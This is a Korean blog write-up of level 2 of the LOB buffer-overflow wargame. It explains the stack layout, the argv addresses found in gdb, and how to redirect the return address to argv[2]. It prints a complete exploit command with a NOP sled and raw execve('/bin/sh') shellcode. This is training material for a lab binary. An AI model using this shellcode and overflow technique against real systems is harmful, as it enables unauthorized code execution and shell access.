IT 그리고 정보보안/Write-up

LOB Level 2 (Gremlin)

plummmm 2021. 4. 11. 16:54
반응형

이번 문제는 버퍼 크기가 매우 작다. 노답.

암만 찾아도 쉘코드 중 가장 짧은게 25바이트 인데.. 버퍼가 16바이트이다.

공격을 하지말란 것인가.

아니? 꼭 페이로드를 버퍼에만 올릴 필요는 없다.

어떻게 넣을 수 있을까. 여러가지 방법이 있지만 여기서는 argv에 올리는 공격법을 선택하겠음.

 

 

일단 [**argv] [argc] [ret] [sfp] 스택이 요래 되어 있다.

argv에 올린다고 했는데, 정확하게 argv[2]에 올리는 것이다.

argv[1]은 버퍼로 복사가 되므로 해봤자 16바이트 밖에 못쓴다.

 

argv[1]에 RET가 argv[2]를 가르키도록 맞춰서 인자값을 넣고, (['A'*20]+[argv[2] 주소]) 

argv[2]에 페이로드를 올린다.

 

먼저 argv[2]의 주소를 찾는다.

순서대로

0xbffffb88 : SFP

0x400309cb: RET

0x00000002 : argc

0xbffffbb4 : **argv

 

argv가 이중포인터니까 한번더 접근해보자.

 

argv[0]에는 파일 절대경로 명

argv[1]에는 main 함수 인자값이 들어있다. (gdb를 이용해 임의로 aaaa를 인자로 넣었었따.)

argv[2]의 시작주소는 0xbffffbbb가 됨을 알 수 있따.

 

그럼 이제 공격코드를 작성하자.

위에서 설명했듯이, argv[1]에 RET를 argv[2] 시작 주소로 변조시키고

argv[2]에 NOP과 쉘코드를 올린다.

 

./cobolt `perl -e 'print "a"x20,"\xbb\xfb\xff\xbf"'` `perl -e 'print "\x90"x1000000,"\x31\xc0\x50\x68\x2f\x2f

\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

 

페이로드는 위와 같음.

nop을 10만개 줬다. 원샷 원킬 됨.

반응형

'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글

LOB Level 6 (Wolfman)  (0) 2021.04.12
LOB Level 5 (Orc)  (0) 2021.04.12
LOB Level 4 (goblin)  (0) 2021.04.12
LOB Level 3 (Cobolt)  (0) 2021.04.11
LOB Level 1 (Gate)  (0) 2021.04.11